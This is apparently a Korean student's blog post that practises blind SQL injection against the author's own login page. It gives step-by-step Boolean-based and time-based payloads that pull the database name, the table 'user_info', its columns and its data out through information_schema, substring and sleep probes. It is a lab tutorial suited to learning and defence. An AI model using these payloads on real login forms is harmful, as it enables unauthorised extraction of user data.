Blind SQL Injection은 Boolean-Based와 Time-Based 두 종류가 있다.
- Boolean-Based: 참·거짓을 반환하는 요소를 이용하여 원하는 정보를 탈취하는 공격 기법
- Time-Based: 개발자가 참·거짓을 드러내지 않도록 설정했을 경우, sleep 함수를 이용하여 참·거짓을 유추하는 공격 기법
쉽게 말해 참인지 거짓인지를 판별하고 싶은 구문을 삽입하여 원하는 정보를 유추해 나가는 공격이다. 예를 들어 DB명의 길이가 얼마인지를 알아내고 싶다면 스무고개를 하듯이 DB명 길이가 5보다 큰가? DB명 길이가 3보다 큰가? DB명 길이가 4인가? 를 질문하며 웹 페이지의 참·거짓을 반환하는 요소에서 답을 얻는 것이다.
내가 만든 웹 페이지에서는 로그인의 성공·실패 여부를 반환하는 로그인 페이지가 Blind SQL Injection 공격을 진행하기에 적합한 환경이므로 로그인 페이지에서 공격을 진행했다.
Boolean-Based
1. DB명 길이 확인
' or 1=1 and length(databased()) = n# 형식으로 검색하며 DB명의 길이를 확인한다. 하나씩 다 해보기에는 너무 많은 시간이 걸리기 때문에 부등호를 사용하여 값의 범위를 줄여나가는 방식으로 진행한다.
' or 1=1 and length(database()) < 5# 입력 시
로그인에 실패하므로 DB명의 길이는 5 이상임을 알 수 있다.
' or 1=1 and length(database()) < 9# 입력 시
로그인에 성공하므로 DB명의 길이는 9 미만임을 알 수 있다.
' or 1=1 and length(database()) = 8# 입력 시
로그인에 성공하므로 DB명 길이는 8임을 알아냈다.
2. DB명 구하기
substr 함수를 이용하여 문자들을 하나씩 대입하여 알아낼 수 있다. SQL에서 substr의 문법은 다음과 같다.
substr(str, pos, len)
// str에서 pos번째 위치에서 len개의 문자를 읽어 들인다.
이를 활용하여 ' or 1=1 and substr(database(),n,1) =‘문자’# 형식으로 검색하여 DB명을 알아낸다.
' or 1=1 and substr(database(),1,1) ='a'# 입력 시
로그인에 실패하므로 DB명의 첫 번째 글자는 a가 아님을 알 수 있다.
문자를 계속해서 바꿔가면서 입력하다 보면 로그인 성공에 성공하는 문자가 나온다.
' or 1=1 and substr(database(),1,1) ='s'# 입력 시
로그인에 성공하므로 DB명의 첫 번째 글자는 s임을 알아냈다.
같은 방법으로 2~8번째 문자를 알아낸다. substr의 인자를 바꿔가며 알아낼 수 있다.
' or 1=1 and substr(database(),2,1) = 'w'# 입력 시
로그인에 성공하므로 DB명의 두 번째 글자는 w임을 알아냈다.
위 과정을 반복하면
' or 1=1 and substr(database(),3,1) = 's'#
' or 1=1 and substr(database(),4,1) = 'e'#
' or 1=1 and substr(database(),5,1) = 'c'#
' or 1=1 and substr(database(),6,1) = 's'#
' or 1=1 and substr(database(),7,1) = 'q'#
' or 1=1 and substr(database(),8,1) = 'l'#
입력 시 로그인에 성공하므로 DB명은 "swsecsql"이다.
3. 테이블명의 길이 확인
information_schema와 SELECT LIMIT 키워드를 사용한다.
Information_schema란 DB의 메타 정보(테이블, 컬럼, 인덱스 등의 스키마 정보)를 모아둔 DB이다. Information_schema 데이터베이스 내의 모든 테이블은 읽기 전용이며, 단순히 조회만 가능하다. 유저가 직접 관여를 하거나 수정할 수는 없지만, 데이터베이스 내 유저와 관련된 테이블이나 컬럼이 어떤 것이 있는지 확인할 수 있다.
SQL에서 개수제한 키워드인 SELECT LIMIT의 사용법은 다음과 같다.
SELECT 컬럼리스트 FROM 테이블명 LIMIT 시작위치, 반환갯수;
' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit n,1))=m# 형식으로 입력하면 n+1번째 테이블명의 길이가 m인지 아닌지를 판별할 수 있다.
' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit 1,1))<8# 입력 시
로그인에 실패하므로 두 번째 테이블명의 길이는 8 이상이다.
' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit 1,1))=9# 입력 시
로그인에 성공하므로 두 번째 테이블명의 길이는 9임을 알아냈다.
4. 테이블명 구하기
DB명을 구할 때 사용했던 것과 마찬가지로 substring을 이용한다.
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit n,1),m,1) = '문자'# 형식으로 입력하면 n+1번째 테이블의 m번째 문자가 '문자'와 같은지를 판별할 수 있다.
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit 1,1),1,1) = 'u'# 입력 시
로그인에 성공하므로 두 번째 테이블의 첫 번째 글자는 u임을 알아냈다.
위 과정을 반복하면
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit 1,1),2,1) = 's'#
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit 1,1),3,1) = 'e'#
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit 1,1),4,1) = 'r'#
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit 1,1),5,1) = '_'#
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit 1,1),6,1) = 'i'#
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit 1,1),7,1) = 'n'#
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit 1,1),8,1) = 'f'#
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='swsecsql' limit 1,1),9,1) = 'o'#
입력 시 로그인에 성공하므로 두 번째 테이블명은 "user_info"이다.
이후부터는 동일한 과정의 반복이므로 간략하게 설명한다.
5. 컬럼명의 길이 확인
' or 1=1 and length((select column_name from information_schema.columns where table_name='user_info' limit n,1))=m# 형식으로 입력하면 n+1번째 컬럼명의 길이가 m인지 아닌지를 판별할 수 있다.
6. 컬럼명 구하기
' or 1=1 and substring((select column_name from information_schema.columns where table_name='user_info' limit n,1),m,1) = '문자'# 형식으로 입력하면 n+1번째 컬럼명의 m번째 문자가 '문자'와 같은지를 판별할 수 있다.
7. 데이터의 길이 확인
' or 1=1 and length((select 컬럼명 from user_info limit n,1))=m# 형식으로 입력하면 n+1번째 데이터의 길이가 m인지 아닌지를 판별할 수 있다.
8. 데이터 구하기
' or 1=1 and substring((select 컬럼명 from user_info limit n,1),m,1)='문자'# 형식으로 입력하면 n+1번째 데이터의 m번째 문자가 '문자'와 같은지를 판별할 수 있다.
Time-Based
앞서 참·거짓을 반환하는 요소를 이용하는 방법을 설명했다. 그런데 개발자가 참·거짓을 드러내지 않도록 설정하였을 경우에는 어떻게 참·거짓을 판단할 수 있을까?
Boolean-Based에서 사용했던 쿼리문 뒤에 and sleep(n)# 을 추가하면 앞의 조건이 참일 경우 n초간 브라우저가 sleep한다. 따라서 브라우저에서 참·거짓을 보여주지 않더라도 걸리는 시간을 통해 참·거짓을 유추할 수 있는 것이다.
Boolean-Based sleep()을 제외하면 동일하기 때문에 DB명의 길이를 알아내는 코드만 예시로 설명하겠다.
' or 1=1 and length(database()) < 5 and sleep(3) # 입력 시
별 딜레이 없이 브라우저가 다시 로드되므로 DB명의 길이는 5 이상임을 알 수 있다.
' or 1=1 and length(database()) = 8 and sleep(3) # 입력 시
긴 딜레이가 생기므로 DB명의 길이는 8이라는 것을 알 수 있다.
이런 식으로 Boolean-Based에서 사용한 구문 뒤에 sleep 함수를 붙여넣으면 시간을 통해 참·거짓을 알아낼 수 있으므로, 웹 페이지가 참·거짓을 보여주지 않더라도 SQL Injection 공격이 가능하다.
'웹 보안' 카테고리의 다른 글
SQL Injection - 방어 실습(2), Prepared Statement (0) | 2022.12.22 |
---|---|
SQL Injection - 방어 실습(1), 입력값 검증 (0) | 2022.12.22 |
SQL Injection - 공격 실습(3), Error Based SQL Injection (2) | 2022.12.18 |
SQL Injection - 공격 실습(2), UNION Based SQL Injection (0) | 2022.12.18 |
SQL Injection - 공격 실습(1), 로그인 우회 (0) | 2022.12.18 |